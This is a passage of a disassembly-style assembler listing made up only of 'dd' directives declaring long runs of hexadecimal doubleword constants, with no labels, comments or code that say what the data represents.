		dd 50288185h, 784E0B08h, 589C0F0Ch, 2D136C1h, 2A7AF001h
		dd 79CD0CA8h, 60112567h, 29723D80h, 0E4757DA5h,	0F9690403h
		dd 0C0DC77B5h, 6CC84BCh, 0CF20B490h, 0D8E52CC6h, 0CE17089Ch
		dd 488AE302h, 4DF0C09Bh, 20F49AB2h, 0ED2406B1h,	1A3D0877h
		dd 0E330935Ah, 977CC15Ch, 53907C40h, 0C347F28h,	0DA76596Ch
		dd 0E60032A0h, 6718D261h, 92844DC6h, 0B0314974h, 8326416h
		dd 0BB84BA0Ch, 0C09419F2h, 0A88A3887h, 3280874Bh, 954A4FD1h
		dd 372C1863h, 0C09A6424h, 6A14E948h, 0F2D8D01Ah, 4A8E2B1h
		dd 504BAF9Ch, 0DCCEA600h, 2627E683h, 40C430h, 527E1D57h
		dd 0D09814E1h, 602B6235h, 0F00828CCh, 7940B02Fh, 53F625F3h
		dd 0B8AB5024h, 0BC273C14h, 1C511826h, 48E6EE10h, 47D6B025h
		dd 5B58FD6Ch, 6F14A898h, 4C003D4Ah, 0CAC2A99h, 613F00F2h
		dd 0A1F4F337h, 0D0B8FFC4h, 0AB0D5603h, 2CB7BAFDh, 0C38A740h
		dd 0E5C8A984h, 9394D11Eh, 0AF0D00FFh, 9658360Fh, 0BEC536FDh
		dd 0EEFC8130h, 58570226h, 0BC114F67h, 2028C9A0h, 129B81C4h
		dd 78A04084h, 0D0D85266h, 4D9B0602h, 0E4A32867h, 4140CE52h
		dd 5309CAF4h, 80444B36h, 0FB945D7Ch, 0E6FDFC39h, 157930D0h
		dd 0E73D5580h, 8FD7773Ch, 0B25EF4Eh, 1C600168h,	0DAD188F4h
		dd 3A461424h, 17A41261h, 0C6F20844h, 3800E313h,	849CD51Eh
		dd 1F3F26D0h, 5DC880D4h, 0FD7C22AAh, 1DEED01h, 0BCB1D0ABh
		dd 83CC388Eh, 24F83096h, 150017F2h, 7E8D0AE2h, 0FF39547h
		dd 5A6B1862h, 6C0007A9h, 0CE2D778h, 5407754Ah, 48BC936Fh
		dd 10A76B9h, 139C3138h,	0C1147AFFh, 0E5FC704Ah,	4D426094h
		dd 0D41C486Eh, 0DFB305FDh, 0D0F6EE3Ch, 11FCF12Ch, 5038652Ch
		dd 1223DA60h, 0A45616D4h, 809474E1h, 493B3C54h,	4D9F480h
		dd 2FFDACFCh, 0F94093A9h, 3804F14Ah, 98C781B5h,	64179302h
		dd 654CD4h, 3838C28Eh, 710F1B75h, 0AA4D5CCAh, 0B8939445h
		dd 6880801Ah, 584CAAF4h, 7B00BDE8h, 0B4373953h,	0D95C08B5h
		dd 0A0962664h, 40BF023Ch, 609EE9B2h, 2C9CE05Ch,	60B03887h
		dd 4DB3A796h, 2006D526h, 9253FE86h, 0AB453B88h,	71241278h
		dd 8B602414h, 26F0DD0h,	0C03FE890h, 286CB8F4h, 9ECA08C4h
		dd 9CE2FC80h, 51D0A281h, 0B7AC00ECh, 772639A4h,	0FE174B06h
		dd 5450E9E1h, 289854h, 3D1864EEh, 4A699B0Eh, 0E74ED890h
		dd 4615C806h, 6F0A0C80h, 0CA58856Dh, 1E0D253Ch,	9C264FF6h
		dd 0E8084049h, 9AF01378h, 6FF89050h, 0FC9066D1h, 62B2241Eh
		dd 3846B30Ch, 0B5CE0064h, 0FDC3FE36h, 98CFFA19h, 0A6D7C41Eh
		dd 67258C0h, 0CD3B0108h, 895961B4h, 94D880C4h, 687A2FF9h
		dd 51770405h, 0F084F40Eh, 0A800829Ch, 0C56EDDA0h, 50D9FE5Bh
		dd 279AC73h, 5807C5Ch, 0F4EB944Eh, 6FD8FEE3h, 0A12666D5h
		dd 7A085CF8h, 0E10400BCh, 717B1229h, 0BDBE5716h, 0A3380807h
		dd 840056BFh, 972D9B5Fh, 67352E4Dh, 0CFE86A4h, 0C8F64016h
		dd 29E0F758h, 3C09C858h, 0D8D4C331h, 9CF94DA8h,	16803DACh
		dd 9983CA27h, 6550A4D0h, 3C75DE98h, 5330226Eh, 0EFD0585Ch
		dd 0C0847D09h, 7B11B098h, 9C96EE7Ch, 9A39842h, 0A4CB1C05h
		dd 777BE6B8h, 0D5CBDA0h, 98E5D42Ch, 0F84D1130h,	1FF89AB5h
		dd 71EAD6DEh, 20A496B9h, 0F6A8A60h, 0D502EC11h,	9CF43Ch
		dd 444E0632h, 17FCD349h, 0DC02CEFEh, 802C0B53h,	912AD898h
		dd 3EF0FB2Fh, 18B41710h, 284004Ch, 0FBF09A1Bh, 0D7E5AB03h
		dd 0B03D8426h, 1827D565h, 18EBB05Ch, 2C0E1F6Ah,	52BB4DAFh
		dd 4842B0DDh, 6B9C8273h, 4D4CE048h, 294C692Fh, 54043058h
		dd 3127AF68h, 0F3C00CA2h, 0DA8C17Bh, 0B20E5778h, 0D8A73CDCh
		dd 12AF0360h, 0A5F8952Fh, 68A04690h, 5DBB6F12h,	0A0A29C94h
		dd 0B2A0410h, 72D0E208h, 16DE7640h, 30BAA756h, 213747D8h
		dd 94B39507h, 52F360F6h, 0D02ED31Dh, 0F820EE17h, 0E07300FEh
		dd 0CD0649C2h, 0AC946672h, 6E78474Eh, 8C84BBD7h, 4F16E090h
		dd 0D73D104Eh, 12E001DEh, 359FBB11h, 0E90F8066h, 4C3E763h
		dd 0B6CA4E1Fh, 0C5F198A0h, 40008FF7h, 49B9660Bh, 176264F5h
		dd 307E8FEh, 185678A0h,	92D06DC1h, 780549E8h, 0B8B1C3FDh
		dd 59864DC0h, 51266CC2h, 67C94008h, 6232E223h, 80062829h
		dd 0AD129A90h, 7D220038h, 662D6445h, 2005B03h, 29E85937h
		dd 2A3C8A06h, 0B868C54Bh, 5942061Ch, 507FFCFEh,	2F66B713h
		dd 31E94460h, 0B424485Ch, 0C0BC7D39h, 69218052h, 801D4917h
		dd 0CC220CA4h, 0E5AE6E09h, 9884E478h, 9AD9E60Ch, 0B04D3F7Ch
		dd 0F293E060h, 43500C2Fh, 321D5CA1h, 13852417h,	0C4C0EDF5h
		dd 494E0703h, 0A005C11h, 10E0B48Eh, 0B518F186h,	6D91DFCDh
		dd 0CDE0D34Ah, 60502008h, 0B60F9E6h, 0ECD26E10h, 5004011Bh
		dd 0D55C6CE6h, 436C3092h, 64612241h, 12F7E474h,	40D4754Dh
		dd 0E1CE85CCh, 0C20F7CD0h, 0AC95BFA3h, 80EC78AAh, 59126C66h
		dd 4536A19h, 92F25C00h,	984D3703h, 0DB690E57h, 25CA8E14h
		dd 0F73C0608h, 7101B9DDh, 56655E83h, 4E4D6E5h, 78543923h
		dd 8BBB7D80h, 0FDAD4175h, 0B89FA527h, 0E64DECh,	0A0E91A68h
		dd 0B4BE56D1h, 0EECE18C0h, 7CFC57h, 94EDD2A6h, 3306B3F7h
		dd 1E24D0ECh, 651FFC69h, 0AA62C0A4h, 82EC0894h,	0A1C66F14h
		dd 3CE7C440h, 38C7055Ah, 46E4827Bh, 0A144049h, 0FC9887h
		dd 72751430h, 0ABAFF891h, 0CDFBD404h, 6890D04Dh, 9062853Ch
		dd 30A0E1Ch, 7CAAB96Eh,	8E540D8h, 57206F0Ch, 4C233C7Fh
		dd 2ACB4201h, 7010C3F4h, 0F8405400h, 9C4D003Dh,	0B0FA5A6Ah
		dd 874EA1FDh, 54F08C40h, 5E3D626Bh, 341C00CEh, 6DF4D98h
		dd 3DA59480h, 7409F917h, 0C60BF6Fh, 0FD2DAFFBh,	17680114h
		dd 0B02C9F2Dh, 0CB6F2C10h, 7AAB096Eh, 4E0809A0h, 0C864EBE6h
		dd 0B7B33E01h, 9D14D368h, 1E5C19C0h, 0B85B76h, 0C4ADB4EDh
		dd 4E3A0A09h, 2B386003h, 0CC30213h, 7AE0FE64h, 48000158h
		dd 0EB34606Fh, 0CAFF94h, 7D5940C2h, 26D03D5Bh, 8A0830B9h
		dd 3B6D0184h, 2DEE8CFFh, 0FA94C584h, 0FD0CA8A6h, 1F100CFBh
		dd 7C44DB5Ah, 0E4A6B09Eh, 3EB0DC24h, 0A0F84034h, 3D61E5FCh
		dd 9C14C258h, 66DBC8C3h, 87E42E1Dh, 0A2C30BE8h,	54195CE4h
		dd 0A910C613h, 81610020h, 0F4D420E1h, 255A8C1Fh, 2CA75C00h
		dd 781E1464h, 0E86149C4h, 18A00327h, 6511FE71h,	0F0775B17h
		dd 2A0E9005h, 89F144E5h, 287CF828h, 4AE8FB77h, 370430DDh
		dd 7C019156h, 0A7147A9Eh, 8402E38h, 0DDAA28h, 0B71B350Eh
		dd 34EF3D56h, 1027CC91h, 86095BCCh, 18E77881h, 0DC465C6Fh
		dd 6104A4Bh, 88C2614h, 0AB00A55Fh, 29DE03D3h, 0DC5A4C7Dh
		dd 0B711D030h, 0FE142C2Ah, 8FE49C1Ch, 0B550605Ch, 30389B7Ch
		dd 63115BF2h, 0A200BC2Dh, 62AB5124h, 4EEECC4h, 5F4BD9F9h
		dd 0CA0080CCh, 1D0029BFh, 40E6FC06h, 0BEF21Eh, 153BB60Dh
		dd 7007D0A3h, 5DDEB0DFh, 1E04A265h, 547D0194h, 0E7E09E9Bh
		dd 7CC9F853h, 0AB5C30h,	0BF30D49Eh, 0FE60FB4Dh,	144832FEh
		dd 3C060234h, 0D3E510D9h, 8900AC28h, 40E099DAh,	7839E735h
		dd 0A8D0AEF5h, 603F6A0Bh, 8ADE5E80h, 849C4480h,	1D5491EFh
		dd 0C1017C24h, 0FC0F204Eh, 0E3EDA5B0h, 606F5448h, 0D2DB311Eh
		dd 8000F08Ah, 0D98DE587h, 6D390h, 0EA594366h, 6DE62832h
		dd 0AA217B00h, 0FDB1FBFCh
		dd 40B04F13h, 88061B04h, 0CD243C89h, 7D8110F2h,	274DA868h
		dd 80673BC8h, 37002825h, 0DD7077FFh, 7A8A1D3Dh,	0CEF8964Ah
		dd 0EF69E140h, 0E6021CA4h, 6B0D0973h, 7AE0E1B2h, 650BADCh
		dd 3D716FBEh, 0A4C117Ch, 422C784Ch, 0F75078E2h,	325B0ADCh
		dd 0E8785Ch, 0D0829CDAh, 20C98351h, 8CAC08DDh, 1F6F1082h
		dd 0AA5002Ah, 4A000497h, 558F4F85h, 0FC5CFE7Dh,	5CDDF643h
		dd 4F7014F2h, 0EB04891h, 0E36C6180h, 30FE1710h,	0CB2015A3h
		dd 8B00EB58h, 9BD8C1B0h, 9141D43h, 0E16E1FA6h, 0AF12D065h
		dd 0C6F6B805h, 3C1774E2h, 31A4E162h, 0D700028h,	60990511h
		dd 1E164208h, 0E4F84036h, 8E7C2277h, 8AD026h, 260904B9h
		dd 0E4D04CA6h, 89DB0A4Eh, 22F08282h, 0E0C9A262h, 0EF7B29DCh
		dd 0BA7177EDh, 9008C28h, 0BE85AADEh, 0EA026CA5h, 45D08B0Ah
		dd 2C3079EBh, 355109D8h, 4B6C5808h, 5408E4C0h, 0C8DC7103h
		dd 1343D16Fh, 23D0DAC8h, 0C5C866B0h, 1CA2A394h,	4E85A445h
		dd 30653C9Ah, 3149CC00h, 7644EAFAh, 45C84E16h, 0C8609E40h
		dd 0FC5BB764h, 0A84E5004h, 100804E1h, 0FDF5246Fh, 0DFA680C4h
		dd 0FE2A10C2h, 6B4EF59h, 0B3B54E1Eh, 8A9B0938h,	1CE0ADD0h
		dd 82001798h, 0DE625CB7h, 60CE56D4h, 6DCB2868h,	0B900C506h
		dd 0FBA5EB41h, 0A04C777Ah, 3EF187ACh, 0E180B8C2h, 5DC5B748h
		dd 0BF0261F7h, 1033313Dh, 29806030h, 3C2E8997h,	0B3A68408h
		dd 6F17B8A8h, 77BC8184h, 2EA43980h, 0E7532813h,	20F492DFh
		dd 40898A6h, 0AEEF9D84h, 4F64B233h, 7D14E403h, 44C3A520h
		dd 0DB0CACDDh, 0A341A990h, 0A028D431h, 2241DC5h, 566B7C50h
		dd 2495A45Ah, 0C09361E4h, 8C381ED2h, 0B800FC7Bh, 4F1630FFh
		dd 0A5509545h, 4D3F3128h, 394C818h, 0C0125984h,	7851491Fh
		dd 0CE8B6400h, 0C5504DDFh, 0C10CB649h, 1425CC5Ch, 60D6742Ch
		dd 0ED2EE04h, 42B74404h, 0C2BF093Dh, 0FC83B800h, 70005184h
		dd 0CA5A40E7h, 0CD9B9D4Eh, 3340FC90h, 0B1F28000h, 0AF0523h
		dd 371B32E2h, 7C047A52h, 0E6611200h, 21807864h,	0A0D0BCCh
		dd 3861F3FFh, 5F84333Fh, 343A8B0h, 0E5A54B35h, 0DFC0415Fh
		dd 58018BCEh, 5A668202h, 1FC81B10h, 99E0B8DEh, 1418A7ECh
		dd 0D0C316D0h, 0C3F069E8h, 2528DE27h, 0A869C3F4h, 689859DEh
		dd 37260228h, 0C01D4FF5h, 0BCE13C00h, 0B3E61200h, 113A26E8h
		dd 0C203D029h, 41CA3Ch,	8269D429h, 0D265AC7Ah, 4CFD2C0Fh
		dd 216C8033h, 0C0F3294Ah, 0F79A4918h, 7107E5CAh, 58C3ED36h
		dd 69E70661h, 48770841h, 15106822h, 0CD6C13Eh, 212F284Dh
		dd 706CAD60h, 37020BA8h, 0B9BBB84Bh, 2E9852C6h,	0E1E8289Eh
		dd 68F86F16h, 0EC4D0D88h, 0FEDC18FAh, 0ECF1546Bh, 302D7839h
		dd 0F279A08Bh, 0ED6BDA3Ch, 1F101141h, 8F1A6F10h, 34382895h
		dd 23CC962Dh, 1AD17F2h,	7AFFCD1Ch, 2320202Bh, 36064F90h
		dd 0B72E6418h, 206F1841h, 0D60C68C2h, 3F080200h, 4D81BD48h
		dd 40F36B63h, 0EDDD8801h, 31A7DC35h, 93A02C50h,	0EB9D8E02h
		dd 0C09E48A4h, 5D867Dh,	0A194DC73h, 79FEDE56h, 314CAF1Dh
		dd 0B1F8224Ch, 0AD200F3h, 0F47CE52Dh, 0D3612B38h, 11C23C11h
		dd 76B63420h, 98141668h, 89B00459h, 266200C0h, 9AEA174h
		dd 603D4CB7h, 6A7D2840h, 984F1740h, 0B87C6734h,	8B49871Bh
		dd 122008CEh, 213C14D8h, 0BE6EF46Bh, 88655DA5h,	0C0B44940h
		dd 0D885DE16h, 55C13C87h, 0F6C4BB97h, 9C9095C4h, 0CF00E1CDh
		dd 84BE1527h, 18B14E6h,	7F73241Eh, 0E8628699h, 600FDD65h
		dd 7C4D52C5h, 0FC9648E0h, 348F4048h, 0DBB78040h, 19D8C3Ch
		dd 0D5040B2Ch, 0A10268E0h, 902D628Ch, 313E0712h, 9FE869D0h
		dd 6B53DD18h, 3C0978B7h, 0E02204B3h, 0B85CF06Ah, 10791142h
		dd 0F04B2E5h, 70DCD08h,	74D47CA8h, 803D7F3Fh, 0E3747D80h
		dd 3CDC78DDh, 1684B254h, 1B192301h, 6FA2D0FCh, 420F8038h
		dd 1A603D5Ch, 155963DEh, 0C89644Bh, 0CC952429h,	0E77E287Fh
		dd 91557AC0h, 67FE84B0h, 802095B8h, 0BBF66F38h,	9312947Ch
		dd 4C007DC5h, 9EDE265Fh, 951405E7h, 0E19B5CD0h,	959C39C4h
		dd 0ECB492A8h, 0F54409Ch, 0C9005090h, 7C830A97h, 720D56EEh
		dd 4A0300DBh, 0F0187D6Bh, 0BB26FE61h, 0C380B8C8h, 4E16534Fh
		dd 58786010h, 4D55F684h, 78A4F2EDh, 286F60C4h, 0F190C95Ah
		dd 6180E010h, 10594CA2h, 0AD894E06h, 0FDFF0C18h, 640AFC9h
		dd 0C66494F8h, 38B83118h, 65C2FEF0h, 0C0C06090h, 738D27A7h
		dd 32D0E07Dh, 0E8780C77h, 0C84D4C90h, 39008499h, 0BBCBD8F4h
		dd 0CAC12D15h, 6300440Fh, 3E8D6FC9h, 0B4B57680h, 933C0454h
		dd 7D34800Bh, 0C891EB4Dh, 4302E94h, 83D5BB7h, 220B94ECh
		dd 94A1586Fh, 7CBE47CCh, 0E9CD857Ch, 303C8CE0h,	15580A29h
		dd 149336Fh, 0FAB1E58h,	56A08F15h, 8BE60018h, 0FBFA5C2Dh
		dd 7FD200DBh, 0FE5A9FF9h, 2492E8EBh, 7DB10100h,	0FC84F812h
		dd 12A8B45Ch, 2DFC074Fh, 521BD075h, 3D1A697Dh, 54800EF0h
		dd 189C3F90h, 0A795484Fh, 46E00742h, 9FDE072Ch,	2A07CE7h
		dd 0FCC1F06Bh, 2CC206Dh, 0C05B3CFCh, 89BD7C00h,	951FD764h
		dd 58BE54A2h, 194A7801h, 5B0F460h, 797F44AFh, 0F2A0C207h
		dd 23C0035Fh, 0EA98C0DBh, 77F30094h, 0D140BC8h,	0CA6ADA4Eh
		dd 0E7432088h, 5989C76Ch, 0A0BD4728h, 1EFF3D18h, 1F00C4BEh
		dd 1DAC2AE0h, 12AEE681h, 0A45E9F6Fh, 3600E1F0h,	0D3E51231h
		dd 8B0920h, 0F9D452B5h,	0CAD964CDh, 20241CBBh, 1924E86h
		dd 0A2141F10h, 5048651Fh, 1E26C63Ch, 3E60A4E5h,	9C4982F8h
		dd 0F80FCB6Ch, 4F2CC057h, 0A14C9551h, 1852DC1Ch, 10AB740Dh
		dd 0B811B404h, 70C00A8h, 0DBFE2CE1h, 4CAB97F1h,	3CA32C91h
		dd 0E0D1A5D4h, 6428763Ch, 68E8EE8Bh, 0A1129CDCh, 408495D0h
		dd 0B84DF020h, 958C026h, 7FE37A0h, 0FDD0E607h, 6043947Ah
		dd 3B511780h, 3F88AE7h,	1569B9C9h, 54AEA8DBh, 0BE580133h
		dd 8E0AC266h, 2878FAD0h, 0FF3C4D12h, 304E4488h,	0A7D1F903h
		dd 1FFC3E08h, 3E28D63Ch, 40914B9Fh, 80125273h, 1C884442h
		dd 426F61A4h, 5C5C2F97h, 51E86B80h, 26611B7h, 0B50977D9h
		dd 0C530D13h, 222F2D09h, 566ED178h, 10AA6094h, 0B10138D0h
		dd 0DCF44EB8h, 0FC6C5A56h, 77332209h, 7098145Ah, 0C4A11F25h
		dd 0AB61267Ch, 30FE6118h, 8E033E6h, 7144A4Dh, 1378A41h
		dd 0F8D3986Eh, 38F035B8h, 6A029F7Eh, 4A859BB4h,	1C00E5F0h
		dd 506E2781h, 0EC4B3141h, 0F08A6F1Fh, 0D6096E38h, 22000F75h
		dd 5714D3E6h, 18B9F60Bh, 30C1A03Ch, 7D019AACh, 0FB377FD7h
		dd 0D1E01627h, 219B0794h, 0F04DAA0Ah, 0D6F4635Fh, 0D0E4F4A0h
		dd 0BDCFFE1Fh, 0BE015905h, 18174E4h, 0B7B818B5h, 40FF9557h
		dd 0CBD45B08h, 0FBEDA528h, 0F16EE712h, 67141000h, 0F354889h
		dd 65A618A4h, 69E571C0h, 97701D95h, 0E8F1D6ECh,	10CB1E79h
		dd 0B634C0DCh, 6F4038EFh, 10C087A7h, 0D0128D83h, 38096E19h
		dd 0B12C70DCh, 90C0138Ch, 0D4DE6188h, 74336E5Eh, 3880ED18h
		dd 17A53C01h, 1CE8BBBCh, 0DAE2010Ch, 3410E6FDh,	249125C0h
		dd 78D16413h, 0CD3CAE0h, 59FF4D71h, 4074C820h, 9E3D570Bh
		dd 81D42F51h, 0CC17BC5Ch, 0BD417989h, 9F5D1821h, 4A743748h
		dd 6C20FC29h, 9BCC8030h, 4CCD4C4Bh, 4414A048h, 6F180BEFh
		dd 9431643Dh, 9709B09h,	0AC71D249h, 0DE410824h,	1D3F0F32h
		dd 6580B004h, 0B4132D2Fh
		dd 4400BAE6h, 0E9F34535h, 49FE275Bh, 4D02840Fh,	2C72F4A8h
		dd 21E0BD03h, 0C2E2B758h, 550882A2h, 2D5C64DAh,	3440BE3Ch
		dd 0E6788765h, 9800364Ah, 4B8930AAh, 56AF180Dh,	3D540831h
		dd 0E44AF3F6h, 98000824h, 7DDE2AC3h, 0D89460DFh, 0C0444CB2h
		dd 0BB554D17h, 16C83426h, 0F2381E3Ch, 16257820h, 574C695Ch
		dd 0EAEC0F6Bh, 0A3F9C584h, 0B34A0094h, 0D0E8348Fh, 0F69400EEh
		dd 52790D86h, 267C5AB7h, 3CE57409h, 84D033h, 0E1F19E66h
		dd 18C4D648h, 26FC7101h, 0C6B47CBFh, 4EEFD024h,	0EE98CCC3h
		dd 0B80197Ch, 45BF0F0Ah, 536523F4h, 20288C5Fh, 0E26C9C01h
		dd 10EF4D3Eh, 68A4403Bh, 3C9B5F37h, 65B9FF8h, 446C4089h
		dd 28A06428h, 0EB81F27h, 0DF6D5B09h, 55C3032h, 7D4DFDACh
		dd 0F6171338h, 2E43449h, 5EE15CA0h, 0C431E98Ch,	8F7EC4Dh
		dd 7D236F17h, 0DD41D058h, 1E110063h, 0CCD7C5DFh, 0FD0BED93h
		dd 20147085h, 9759016Ch, 1EE0B011h, 5D937E5h, 1DB9AF6Fh
		dd 886490h, 82E8D0ABh, 280CDFF0h, 4077D3FEh, 2F433CAFh
		dd 0B7117F30h, 5F3C80F4h, 0B1A8252h, 985ACAEEh,	95F86FA0h
		dd 8C52600Fh, 80600F38h, 1C9CEEC8h, 77CA267Eh, 4B6260B0h
		dd 751CCCC8h, 5485E6B3h, 64C676D1h, 5080F39Eh, 8D6AB53Ah
		dd 3D0FAC4Dh, 8EA2E4B7h, 61AE8037h, 589E0F9Ah, 0D1C0D4B8h
		dd 0EEB66BB1h, 0B70B3E18h, 248DE8C8h, 2CE89AF0h, 33F60D34h
		dd 0FC2431A0h, 960424D4h, 0D6FDA76Dh, 2E779CF0h, 0C53C1257h
		dd 0D882864Dh, 0CF4C70B0h, 0A4E50BBCh, 6F2581FDh, 28846344h
		dd 0F0D13CC2h, 4F0B0CF8h, 60A93D42h, 488CBEBCh,	0EC05E4DDh
		dd 0AD7C4AD8h, 0C7C8130Ch, 3D44585Eh, 0F0E35AD6h, 96216F82h
		dd 6136458h, 0ACACB705h, 0C4775170h, 90D8AC14h,	745620CCh
		dd 40883C13h, 307810E2h, 38A8089Fh, 0D70C64DDh,	38CC5410h
		dd 0C9B0B8AEh, 0EC962929h, 20E0D527h, 0EB082CE0h, 0A3943C87h
		dd 0E653E61Fh, 429600E8h, 0EE140C40h, 84D3828h,	0D0A63202h
		dd 70293CEBh, 0E2F881B8h, 22A834h, 0B17B78D9h, 0D5B382D4h
		dd 0EC4EBB00h, 0B0FE361Dh, 4718B1BEh, 0EB02C263h, 32508F1h
		dd 88A88458h, 580D3D2Eh, 6503F0D3h, 153CA4FEh, 857E1113h
		dd 0E81B1C22h, 4EB205E0h, 0E648C30Fh, 94C9BBE8h, 810DAD38h
		dd 2610FAD9h, 0D7F55911h, 60CD884Ch, 44826009h,	8791427h
		dd 8D682F00h, 0A3FE25B4h, 88D4968Fh, 9400E699h,	0A5B980A6h
		dd 18492CAFh, 0AA2842A4h, 3960A854h, 20116853h,	880FF7Ch
		dd 9A257D30h, 0FDAC90B1h, 0A7B940C8h, 60B750CBh, 679DFEC8h
		dd 74A81850h, 8438BC32h, 0A132BAEEh, 182F8CA0h,	5C05931Eh
		dd 64E763EEh, 5E8300B8h, 97FF5765h, 38A3563Ch, 0D0AFBE26h
		dd 0F04D9D82h, 41207476h, 8FED574Eh, 0E27D2A10h, 0F17798A5h
		dd 8D0A80A4h, 7E952B38h, 9C80A200h, 1E4D56EEh, 0F47C80E4h
		dd 0DB655503h, 0E833C98Ah, 1DE08DE6h, 0D74B103Bh, 7B8881C4h
		dd 73F0C0FDh, 18749EF0h, 596F170Fh, 90F2126Eh, 922CA826h
		dd 0CD80C0CAh, 58A8B99Ah, 7C16AE6Eh, 0C0C8CB07h, 20204A16h
		dd 0B70EABD0h, 9832062Ch, 204E484Ch, 0BB12C2DBh, 0A8A23B60h
		dd 0C0E95B78h, 6F5FFE48h, 4E06C09Ch, 24304FF4h,	190970Ah
		dd 0C96C5385h, 8B15E53Ch, 51147D30h, 71DD8154h,	24DFB16Dh
		dd 0E4040E0h, 0AAEE0412h, 0C2A22E84h, 20F41C70h, 2CAF0A00h
		dd 0B1AB62h, 771D841Eh,	6F231B4Ah, 280CF59h, 0C7FF94CAh
		dd 0A2E8C1CBh, 0B11C082Ah, 0F4F4A5h, 0CA140538h, 0CC1FEDA4h
		dd 8125E9FBh, 0B6996F54h, 90E1B830h, 12C1874h, 2190E112h
		dd 175DCE80h, 0B15F55A2h, 29142010h, 0B227E601h, 0A4C9135Ch
		dd 1A9AAC70h, 0F112717Ch, 7232B878h, 0C15F8918h, 0F8429AE8h
		dd 940A87h, 0B9C70C4Ch,	209D426Fh, 0A65BD540h, 4C3877C2h
		dd 9B3FB885h, 0B0F30F81h, 664952EEh, 0BADA00FCh, 0AAB5EADCh
		dd 0FBB203FDh, 0A2D06511h, 0B894D94Fh, 592C2C82h, 92C2444h
		dd 4E411F9h, 0FE50A896h, 13EC9AABh, 283EB7Ch, 520ADA7Dh
		dd 8294B0E0h, 0D3F78D17h, 754EECE0h, 153307F1h,	0D0C04AF2h
		dd 53476F12h, 0B98B0C9h, 0C30957D8h, 1840CC2Bh,	24EDCC4Dh
		dd 38009424h, 5AAD80F2h, 1E659ABh, 0F99C906Ch, 30450D34h
		dd 90BAAAB4h, 35DCA03h,	0A2510A20h, 4C805D37h, 303CC088h
		dd 0C0273A4Bh, 5C1A6C83h, 0A16CCE9h, 3F70F56Fh,	7D026430h
		dd 0F14CB809h, 0E1C2B42Dh, 54E077D0h, 6305E634h, 57DC197Fh
		dd 0C22E808h, 0DAC0A314h, 0BC505902h, 56C0723Ch, 60DE0C0h
		dd 0B095A2D9h, 0A0935470h, 814E51B8h, 20287B1Eh, 0CA684543h
		dd 0DC3CE460h, 0D10A860h, 7E872E37h, 81540F7Ah,	69DF523h
		dd 40DEECFEh, 254E0739h, 2C185142h, 241E92E0h, 0DDC08010h
		dd 3A5B56D8h, 2E980Bh, 323CE574h, 3A0A10Fh, 7C2C2478h
		dd 9D742952h, 2B450015h, 910AA1ACh, 4B370216h, 278A7A00h
		dd 0EEDF394h, 7742E6B1h, 0D6F411C0h, 5E073B2Eh,	52182B37h
		dd 0B4809565h, 503D6556h, 95CA7462h, 64F0E842h,	98802C5Ah
		dd 344E0216h, 0A428490Ch, 0FE27321Ch, 0C6CC405Bh, 6BD41C3Ah
		dd 891392A3h, 5E6A58h, 5961048h, 0D120B8CCh, 10569030h
		dd 1A28DCD4h, 0E8C199FEh, 76670840h, 397A83h, 79B2863Ah
		dd 9438FE47h, 78343A95h, 194A07FCh, 0D011487Bh,	0BFF6D3E6h
		dd 65E36D00h, 5DCB7541h, 0DCF4074Dh, 65C0096Eh,	7342C061h
		dd 0AE167C55h, 0DB0065F8h, 66518D27h, 96C5026Fh, 206BB1A5h
		dd 81485C46h, 6FC81F58h, 0FC00B452h, 3762AE2Eh,	5A3F2FEh
		dd 9384C424h, 7220F74Ah, 0B308DA0Bh, 0EE4D80EDh, 0FABDE2C2h
		dd 0E43C24C7h, 2414A79Ch, 0E257313Dh, 722F1120h, 76FE1308h
		dd 0A650F4C3h, 4AF86041h, 5A3BFC16h, 39000AFh, 0F93CA906h
		dd 2E0D750h, 30EE453Ch,	7D0B1181h, 403D7966h, 8A2663D4h
		dd 0AF010913h, 0C699815Ch, 549721D1h, 17B888DEh, 0E29C1D48h
		dd 28C03262h, 1490F4DAh, 803E0838h, 94BA54B9h, 90B49A5h
		dd 8F6F0684h, 3F6EA0A3h, 356401C8h, 0A833FE10h,	3D45413h
		dd 0F82B36DCh, 43916DF3h, 7E77F142h, 840E1048h,	0A93B8A3Ch
		dd 0EB407BACh, 0EA437424h, 6390905Fh, 365C404Ch, 60E0D4B3h
		dd 8894F06Bh, 2870E580h, 5473426h, 33FDA9FAh, 89C8BC27h
		dd 3E2C540Ch, 26AF1F10h, 802FC71Dh, 0B3BA2578h,	123ECDAh
		dd 6218F4B7h, 0F15B5004h, 0BBF6F033h, 0B4D5C17h, 2D0F745Dh
		dd 0FEC740D3h, 4FCD7Ch,	76274EB3h, 721ADC77h, 0CEF0027Ch
		dd 194C6730h, 0E53BFB28h, 0D3308107h, 2C29813Eh, 0D66B7A65h
		dd 0F5BD8E4h, 0CC09D1CBh, 57F42780h, 863FF8C3h,	11498F34h
		dd 0C6A7637Dh, 2480078h, 0FAEA5C7Bh, 0D5303E98h, 75D460FCh
		dd 0F6FB1470h, 0F3381412h, 0F4AA929Bh, 1D6D17A0h, 945E18C3h
		dd 59409872h, 3EC0EF6Bh, 68226507h, 7F580941h, 0E6B0AC00h
		dd 630C2629h, 11C2B780h, 5AA206A0h, 0F9735BFBh,	7AC6A61Bh
		dd 94E0E779h, 1821A097h, 192A9C4Fh, 4B1FA67Fh, 9A415677h
		dd 0C6D4D35Ah, 4E9EA840h, 0BF100A4h, 1BB87D92h,	5761A7CEh
		dd 0D5EA1738h, 0D2374080h, 0D1AD0BF7h, 0D3F27404h, 0A000DE1Eh
		dd 1BF15A92h, 0AF850784h, 0F02DA705h, 18332BF5h, 0A0A817E4h
		dd 7905E052h, 0CD4EFB90h, 0C0D17800h, 15CC58C8h, 0ACFA0F3Eh
		dd 1DD6BF0Eh, 0D1D33881h, 1870BDCBh, 4F208D66h,	40EC6521h
		dd 0F0D037CAh, 0AA7D2FDFh
		dd 43FA9215h, 0FBF101B8h, 0E4C41791h, 2B329450h, 27D10009h
		dd 0F25F10EFh, 9F01FAABh, 460E8FB7h, 1180AC65h,	0F039F873h
		dd 0FD3017E0h, 3BFC4019h, 42181881h, 7933510Dh,	3C4FC8A8h
		dd 724D53Eh, 4AA8D458h,	0B000F3F5h, 0A6BFA12Dh,	9E911D8Fh
		dd 57934260h, 0D4A05250h, 0B2036A7Fh, 0F641F801h, 231C1863h
		dd 4565608Fh, 0ED20BB6Eh, 78D3AA17h, 0F288EF50h, 0DC636401h
		dd 656B4FC4h, 80A75003h, 0BED30A77h, 0C3289962h, 688B60A6h
		dd 124BF053h, 16A03Eh, 4228903Ch, 5A12C29Ch, 30099E40h
